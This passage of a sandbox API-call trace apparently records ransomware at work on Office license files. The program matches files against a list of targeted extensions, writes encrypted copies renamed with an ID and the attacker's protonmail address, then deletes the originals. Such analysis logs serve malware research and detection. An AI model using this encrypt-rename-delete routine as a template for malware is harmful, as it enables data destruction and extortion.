	[0198.111] lstrlenW (lpString=".jpg") returned 4
	[0198.111] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.111] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.111] lstrlenW (lpString="MondoR_OEM_Perp-ul-phn.xrm-ms") returned 29
	[0198.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0198.112] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=19927) returned 1
	[0198.112] CloseHandle (hObject=0x5c0) returned 1
	[0198.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0198.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.358] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.358] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0199.359] GetLastError () returned 0x0
	[0199.359] ReadFile (in: hFile=0x5bc, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x4dd7, lpOverlapped=0x0) returned 1
	[0199.369] WriteFile (in: hFile=0x594, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0199.370] ReadFile (in: hFile=0x5bc, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.370] WriteFile (in: hFile=0x594, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x10e, lpOverlapped=0x0) returned 1
	[0199.370] SetEndOfFile (hFile=0x594) returned 1
	[0199.370] CloseHandle (hObject=0x594) returned 1
	[0199.370] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.370] SetEndOfFile (hFile=0x5bc) returned 1
	[0199.373] CloseHandle (hObject=0x5bc) returned 1
	[0199.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 1
	[0199.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0199.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0199.374] lstrlenW (lpString=".doc") returned 4
	[0199.374] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.374] lstrlenW (lpString=".docx") returned 5
	[0199.374] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.374] lstrlenW (lpString=".pdf") returned 4
	[0199.374] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.374] lstrlenW (lpString=".xls") returned 4
	[0199.374] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.374] lstrlenW (lpString=".xlsx") returned 5
	[0199.374] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.374] lstrlenW (lpString=".ppt") returned 4
	[0199.374] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0199.374] lstrlenW (lpString=".zip") returned 4
	[0199.374] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.375] lstrlenW (lpString=".rar") returned 4
	[0199.375] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.375] lstrlenW (lpString=".bz2") returned 4
	[0199.375] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.375] lstrlenW (lpString=".7z") returned 3
	[0199.375] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0199.375] lstrlenW (lpString=".dbf") returned 4
	[0199.375] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0199.375] lstrlenW (lpString=".1cd") returned 4
	[0199.375] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0199.375] lstrlenW (lpString=".jpg") returned 4
	[0199.375] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0199.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0199.375] lstrlenW (lpString=".doc") returned 4
	[0199.375] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.375] lstrlenW (lpString=".docx") returned 5
	[0199.375] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.375] lstrlenW (lpString=".pdf") returned 4
	[0199.375] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.375] lstrlenW (lpString=".xls") returned 4
	[0199.375] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.375] lstrlenW (lpString=".xlsx") returned 5
	[0199.375] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.375] lstrlenW (lpString=".ppt") returned 4
	[0199.375] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0199.376] lstrlenW (lpString=".zip") returned 4
	[0199.376] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.376] lstrlenW (lpString=".rar") returned 4
	[0199.376] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.376] lstrlenW (lpString=".bz2") returned 4
	[0199.376] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.376] lstrlenW (lpString=".7z") returned 3
	[0199.376] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0199.376] lstrlenW (lpString=".dbf") returned 4
	[0199.376] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0199.376] lstrlenW (lpString=".1cd") returned 4
	[0199.376] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79
	[0199.376] lstrlenW (lpString=".jpg") returned 4
	[0199.376] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.376] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.376] lstrlenW (lpString="MondoVL_KMS_Client-ul-oob.xrm-ms") returned 32
	[0199.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0199.638] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11609) returned 1
	[0199.639] CloseHandle (hObject=0x5c4) returned 1
	[0199.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms")) returned 0x220
	[0199.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0199.899] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.900] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0199.901] GetLastError () returned 0x0
	[0199.901] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d59, lpOverlapped=0x0) returned 1
	[0199.903] WriteFile (in: hFile=0x460, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0199.904] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.904] WriteFile (in: hFile=0x460, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x114, lpOverlapped=0x0) returned 1
	[0199.904] SetEndOfFile (hFile=0x460) returned 1
	[0199.904] CloseHandle (hObject=0x460) returned 1
	[0199.905] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.905] SetEndOfFile (hFile=0x580) returned 1
	[0199.908] CloseHandle (hObject=0x580) returned 1
	[0199.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms")) returned 1
	[0199.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0199.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0199.909] lstrlenW (lpString=".doc") returned 4
	[0199.909] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.909] lstrlenW (lpString=".docx") returned 5
	[0199.909] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.909] lstrlenW (lpString=".pdf") returned 4
	[0199.909] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.909] lstrlenW (lpString=".xls") returned 4
	[0199.909] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.909] lstrlenW (lpString=".xlsx") returned 5
	[0199.909] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.909] lstrlenW (lpString=".ppt") returned 4
	[0199.909] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0199.909] lstrlenW (lpString=".zip") returned 4
	[0199.909] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.910] lstrlenW (lpString=".rar") returned 4
	[0199.910] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.910] lstrlenW (lpString=".bz2") returned 4
	[0199.910] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.910] lstrlenW (lpString=".7z") returned 3
	[0199.910] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0199.910] lstrlenW (lpString=".dbf") returned 4
	[0199.910] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0199.910] lstrlenW (lpString=".1cd") returned 4
	[0199.910] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0199.910] lstrlenW (lpString=".jpg") returned 4
	[0199.910] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0199.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0199.910] lstrlenW (lpString=".doc") returned 4
	[0199.910] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.910] lstrlenW (lpString=".docx") returned 5
	[0199.910] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.910] lstrlenW (lpString=".pdf") returned 4
	[0199.910] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.910] lstrlenW (lpString=".xls") returned 4
	[0199.910] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.910] lstrlenW (lpString=".xlsx") returned 5
	[0199.910] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.910] lstrlenW (lpString=".ppt") returned 4
	[0199.910] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0199.911] lstrlenW (lpString=".zip") returned 4
	[0199.911] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.911] lstrlenW (lpString=".rar") returned 4
	[0199.911] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.911] lstrlenW (lpString=".bz2") returned 4
	[0199.911] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.911] lstrlenW (lpString=".7z") returned 3
	[0199.911] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0199.911] lstrlenW (lpString=".dbf") returned 4
	[0199.911] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0199.911] lstrlenW (lpString=".1cd") returned 4
	[0199.911] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0199.911] lstrlenW (lpString=".jpg") returned 4
	[0199.911] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.911] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.911] lstrlenW (lpString="O365BusinessR_SubTrial-ppd.xrm-ms") returned 33
	[0199.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0199.912] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=22466) returned 1
	[0199.912] CloseHandle (hObject=0x580) returned 1
	[0199.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms")) returned 0x220
	[0199.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0199.913] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.913] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0199.914] GetLastError () returned 0x0
	[0199.914] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x57c2, lpOverlapped=0x0) returned 1
	[0199.918] WriteFile (in: hFile=0x460, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x57d0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x57d0, lpOverlapped=0x0) returned 1
	[0199.919] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.919] WriteFile (in: hFile=0x460, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x116, lpOverlapped=0x0) returned 1
	[0199.919] SetEndOfFile (hFile=0x460) returned 1
	[0199.919] CloseHandle (hObject=0x460) returned 1
	[0199.919] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.919] SetEndOfFile (hFile=0x580) returned 1
	[0199.922] CloseHandle (hObject=0x580) returned 1
	[0199.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms")) returned 1
	[0199.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0199.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0199.924] lstrlenW (lpString=".doc") returned 4
	[0199.924] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.924] lstrlenW (lpString=".docx") returned 5
	[0199.924] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.924] lstrlenW (lpString=".pdf") returned 4
	[0199.924] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.924] lstrlenW (lpString=".xls") returned 4
	[0199.924] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.924] lstrlenW (lpString=".xlsx") returned 5
	[0199.924] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.924] lstrlenW (lpString=".ppt") returned 4
	[0199.924] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0199.924] lstrlenW (lpString=".zip") returned 4
	[0199.924] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.924] lstrlenW (lpString=".rar") returned 4
	[0199.924] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.924] lstrlenW (lpString=".bz2") returned 4
	[0199.924] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.924] lstrlenW (lpString=".7z") returned 3
	[0199.924] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0199.924] lstrlenW (lpString=".dbf") returned 4
	[0199.924] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0199.924] lstrlenW (lpString=".1cd") returned 4
	[0199.925] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0199.925] lstrlenW (lpString=".jpg") returned 4
	[0199.925] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0199.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0199.925] lstrlenW (lpString=".doc") returned 4
	[0199.925] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.925] lstrlenW (lpString=".docx") returned 5
	[0199.925] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.925] lstrlenW (lpString=".pdf") returned 4
	[0199.925] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.925] lstrlenW (lpString=".xls") returned 4
	[0199.925] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.925] lstrlenW (lpString=".xlsx") returned 5
	[0199.925] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.925] lstrlenW (lpString=".ppt") returned 4
	[0199.925] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
